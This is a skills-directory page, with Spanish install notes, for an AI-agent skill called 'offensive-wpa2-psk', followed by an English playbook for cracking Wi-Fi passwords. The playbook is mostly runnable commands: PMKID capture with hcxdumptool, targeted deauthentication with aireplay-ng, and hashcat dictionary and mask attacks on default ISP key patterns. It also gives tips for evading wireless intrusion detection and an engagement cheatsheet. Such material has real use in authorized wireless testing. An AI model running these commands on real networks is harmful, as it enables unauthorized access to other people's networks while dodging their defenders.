Cómo usar
- Copia el comando y revisa el paquete antes de instalarlo en tu entorno de agente.
- Consulta las herramientas, credenciales y entornos necesarios en el documento original.
- Describe las entradas y el resultado deseado; contrasta la salida con las fuentes.
npx skills add https://github.com/snailsploit/claude-red --skill offensive-wpa2-pskAntes de empezar
- La instalación no incluye suscripción al modelo, cuota API ni permisos sobre tus archivos.
- Las estrellas e instalaciones reflejan actividad, no una prueba independiente de calidad o seguridad.
Contenido del repositorio de origen con títulos, ejemplos, código, tablas, enlaces e imágenes preservados.
WPA/WPA2-PSK Attacks
The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
Quick Workflow
- Identify the target BSSID, channel, and encryption (see
offensive-wifi-recon) - Try PMKID first (fast, no client interaction)
- Fall back to four-way handshake capture if PMKID isn't yielded
- Convert capture to hashcat-compatible format
- Crack offline with appropriate wordlist + rules + masks
PMKID Attack (Preferred When Possible)
The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapngtargets.txt contains BSSIDs (one per line) you're authorized to attack.
If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
Four-Way Handshake Capture
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0monIf a client is associated:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0monThe handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.
Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
Verifying the Capture
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" linesIf the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
Cracking
Dictionary + Rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.ruleUseful wordlists:
rockyou.txt(classic)weakpass_3/weakpass_4(huge breach corpus)crackstation.txt- Targeted: company name, products, locations
Mask Attacks for Common Default Patterns
# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?dVendor Default Generators
Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand802.11r FT Cracking
If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
Tuning Cracking Performance
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000Opportunistic Key Cache (OKC)
When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
Detection Considerations
| Signal | Defender View |
|---|---|
| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |
| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |
| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |
To minimize: PMKID with --filtermode=2 (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.
Engagement Cheatsheet
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon
# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule
# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?dKey References
- hashcat docs (mode 22000): hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- hcxtools: github.com/ZerBea/hcxtools
- ZerBea PMKID research (original 2018 disclosure)
- 802.11i-2004 (WPA2 spec)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
